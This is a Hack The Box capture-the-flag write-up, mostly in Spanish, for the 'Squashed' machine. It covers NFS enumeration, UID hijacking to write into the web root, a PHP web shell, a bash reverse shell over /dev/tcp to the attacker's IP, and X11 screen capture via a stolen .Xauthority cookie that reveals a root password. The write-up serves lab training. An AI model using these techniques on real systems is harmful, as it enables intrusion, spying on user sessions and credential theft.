Table of Contents
Hack The Box: Squashed Writeup
Welcome to my detailed writeup of the easy difficulty machine “Squashed” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.228.109 --ulimit 5000 -g
210.129.228.109 -> [22,80,111,2049,44291,49353,50057,53893]
1$ nmap -p22,80,111,2049,44291,49353,50057,53893 -sCV 10.129.228.109 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 15:45 CEST
3Nmap scan report for 10.129.228.109
4Host is up (0.037s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
10| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
11|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
1280/tcp open http Apache httpd 2.4.41 ((Ubuntu))
13|_http-server-header: Apache/2.4.41 (Ubuntu)
14|_http-title: Built Better
15111/tcp open rpcbind 2-4 (RPC #100000)
16| rpcinfo:
17| program version port/proto service
18| 100000 2,3,4 111/tcp rpcbind
19| 100000 2,3,4 111/udp rpcbind
20| 100000 3,4 111/tcp6 rpcbind
21| 100000 3,4 111/udp6 rpcbind
22| 100003 3 2049/udp nfs
23| 100003 3 2049/udp6 nfs
24| 100003 3,4 2049/tcp nfs
25| 100003 3,4 2049/tcp6 nfs
26| 100005 1,2,3 35859/udp6 mountd
27| 100005 1,2,3 52835/tcp6 mountd
28| 100005 1,2,3 53893/tcp mountd
29| 100005 1,2,3 58461/udp mountd
30| 100021 1,3,4 34979/tcp6 nlockmgr
31| 100021 1,3,4 44291/tcp nlockmgr
32| 100021 1,3,4 54708/udp6 nlockmgr
33| 100021 1,3,4 56514/udp nlockmgr
34| 100227 3 2049/tcp nfs_acl
35| 100227 3 2049/tcp6 nfs_acl
36| 100227 3 2049/udp nfs_acl
37|_ 100227 3 2049/udp6 nfs_acl
382049/tcp open nfs 3-4 (RPC #100003)
3944291/tcp open nlockmgr 1-4 (RPC #100021)
4049353/tcp open mountd 1-3 (RPC #100005)
4150057/tcp open mountd 1-3 (RPC #100005)
4253893/tcp open mountd 1-3 (RPC #100005)
43Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
44
45Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
46Nmap done: 1 IP address (1 host up) scanned in 8.96 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.228.109 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 15:46 CEST
3Nmap scan report for 10.129.228.109
4Host is up (0.039s latency).
5Not shown: 1492 open|filtered udp ports (no-response)
6PORT STATE SERVICE
7111/udp open rpcbind
8464/udp closed kpasswd5
91035/udp closed mxxrlogin
102049/udp open nfs
1118994/udp closed unknown
1220288/udp closed unknown
1323230/udp closed unknown
1430473/udp closed unknown
NFS Enumeration
Me llama la atención el servicio NFS expuesto ya que no es común encontrarse con esto.
Vamos a instalar el paquete nfs-common
sudo apt-get install nfs-common -y
Ahora vamos a montar la raíz del sistema de archivos al directorio /mnt/montura
Primero creamos la carpeta.
mkdir /mnt/montura
1$ sudo mount -t nfs 10.129.228.109:/ /mnt/montura
1$ ls -la /mnt/montura
2total 12
3drwxr-xr-x 20 root root 4096 oct 21 2022 .
4drwxr-xr-x 1 root root 14 ago 5 15:49 ..
5drwxr-xr-x 4 root root 4096 oct 21 2022 home
6drwxr-xr-x 16 root root 4096 oct 21 2022 var
Y vemos contenido.
1$ find . -type f 2>/dev/null
2./ross/.xsession-errors.old
3./ross/Documents/Passwords.kdbx
4./ross/.xsession-errors
5./ross/.Xauthority
Vemos un Passwords.kdbx
que me llama la atención.
Investigando la bbdd de keepass, no encuentro nada que se pueda hacer ya que keepass2john
no soporta la versión de KeePass con la que fue creada la base de datos.
1$ keepass2john Passwords.kdbx
2! Passwords.kdbx : File version '40000' is currently not supported!
UID Hijacking -> Foothold
Me dió curiosidad lo siguiente
No podía acceder al directorio html
que supongo que corresponderá con el sitio web.
1$ cd html/
2bash: cd: html/: Permission denied
Pero con find .
podía ver algunos directorio y ficheros de dentro del directorio html
1$ find .
2.
3./html
4find: ‘./html/.htaccess’: Permission denied
5./html/.htaccess
6find: ‘./html/index.html’: Permission denied
7./html/index.html
8find: ‘./html/images’: Permission denied
9./html/images
10find: ‘./html/css’: Permission denied
11./html/css
12find: ‘./html/js’: Permission denied
13./html/js
Y me dí cuenta de que podríamos hacer un UID Hijacking
Podemos crear un usuario con el UID 2017
1$ sudo useradd -u 2017 pointedc
Y ahora en principio podríamos acceder a este directorio.
Ahora si cambiamos al usuario pointedc
podemos acceder al directorio y por ejemplo, crear archivos.
Y se refleja en el sitio web.
Podemos comprobar si el sitio interpreta PHP, aunque leyendo el .htaccess
ya nos da la pista de que sí.
1$ echo "<?php phpinfo(); ?>" > test.php
Nos creamos una pequeña web shell.
1$ cat shell.php
2<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>'; ?>
Y ya nos podemos mandar la rev shell
http://10.129.228.109/shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.18/443%200%3E%261%22
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.18] from (UNKNOWN) [10.129.228.109] 58462
4bash: cannot set terminal process group (1050): Inappropriate ioctl for device
5bash: no job control in this shell
6alex@squashed:/var/www/html$
7alex@squashed:/var/www/html$ whoami
8whoami
9alex
Y ya podemos leer la flag de usuario
1alex@squashed:/var/www/html$ cat /home/alex/user.txt
2cat /home/alex/user.txt
3f469293aeb9ecd01....
Privilege Escalation
Si nos damos cuenta, hemos ganado acceso como el usuario alex
y en el NFS, estaba el directorio personal de trabajo de un usuario llamado ross
Dentro de este directorio se encontraba un archivo .Xauthority
pero todavía no lo había analizado porque ya tengo un usuario en mi máquina con ese UID.
Me interesa tanto este archivo porque podemos enumerar que el usuario ross
tiene una sesión activa en el equipo
1alex@squashed:/home/alex$ w
2w
3 10:10:41 up 41 min, 1 user, load average: 0.00, 0.00, 0.00
4USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
5ross tty7 :0 09:29 41:36 3.57s 0.03s /usr/libexec/gnome-session-binary --systemd --session=gnome
Y con este archivo .XAuthority
que es de ross
podría conseguir ver la pantalla de este usuario y quizás se filtre información confidencial.
Tengo dos opciones, o asignar una Shell a este usuario para poder migrar a este, o cambiar el UID de este usuario y crear otro usuario con el UID 1001.
Voy asignarle una shell temporalmente..
$ sudo usermod --shell /bin/bash '_laurel'
1$ sudo su '_laurel'
2┌─[_laurel@parrot]─[/mnt/montura/home/ross]
3└──╼ $
Ahora ya puedo migrar a este usuario.
Me voy a copiar este archivo.
1$cp .Xauthority /tmp/.Xauthority
1$ sudo chown pointedsec:pointedsec .Xauthority
Ahora siguiendo este apartado de HackTricks.
Me comparto este archivo a la máquina víctima.
1alex@squashed:/home/alex$ wget http://10.10.14.18:8081/.Xauthority
Recapitulemos, este archivo contiene una Cookie de 128 bits que el cliente manda al servidor, esta cookie sirve para la autorización de X11, que en palabras simples y “mal”, sería como una especie de RDP.
Exportamos la cookie.
1alex@squashed:/home/alex$ export XAUTHORITY=/home/alex/.Xauthority
2export XAUTHORITY=/home/alex/.Xauthority
Nos responde con información de la pantalla, por lo cual esto es bueno.
1alex@squashed:/home/alex$ xdpyinfo -display :0 | less
2xdpyinfo -display :0 | less
3WARNING: terminal is not fully functional
4- (press RETURN)
5name of display: :0
6version number: 11.0
7vendor string: The X.Org Foundation
8vendor release number: 12013000
9X.Org version: 1.20.13
10maximum request size: 16777212 bytes
11motion buffer size: 256
12bitmap unit, bit order, padding: 32, LSBFirst, 32
13image byte order: LSBFirst
14number of supported pixmap formats: 7
15supported pixmap formats:
16 depth 1, bits_per_pixel 1, scanline_pad 32
17 depth 4, bits_per_pixel 8, scanline_pad 32
18 depth 8, bits_per_pixel 8, scanline_pad 32
19 depth 15, bits_per_pixel 16, scanline_pad 32
20 depth 16, bits_per_pixel 16, scanline_pad 32
21 depth 24, bits_per_pixel 32, scanline_pad 32
22 depth 32, bits_per_pixel 32, scanline_pad 32
23keycode range: minimum 8, maximum 255
24focus: window 0x1e00006, revert to PointerRoot
25number of extensions: 28
26 BIG-REQUESTS
27 Composite
28.....
Ahora podemos hacer una captura de pantalla de la sesión :0
que habíamos detectado antes con el comando w
1alex@squashed:/tmp$ xwd -root -screen -silent -display :0 > screenshot.xwd
2xwd -root -screen -silent -display :0 > screenshot.xwd
3alex@squashed:/tmp$ ls
4ls
5screenshot.xwd
Ahora nos pasamos este archivo a nuestra máquina de atacante y la convertimos a PNG
1$ convert screenshot.xwd screenshot.png
Y vaya vaya, ¡tenemos credenciales!
Me pensaba que iban a ser las credenciales para el usuario ross
pero inocentemente probando estas credenciales para root…
1alex@squashed:/var/www/html$ su ross
2su ross
3Password: cah$mei7rai9A
4su: Authentication failure
5alex@squashed:/var/www/html$ su root
6su root
7Password: cah$mei7rai9A
8id
9uid=0(root) gid=0(root) groups=0(root)
Y ya podríamos leer la flag.
1cat root.txt
2795ede7c08b5f41....
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Squashed #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #Linux #NFS Enumeration #Abusing NFS UID/GID Missmatch #Information Leakage #Abusing .Xauthority Cookie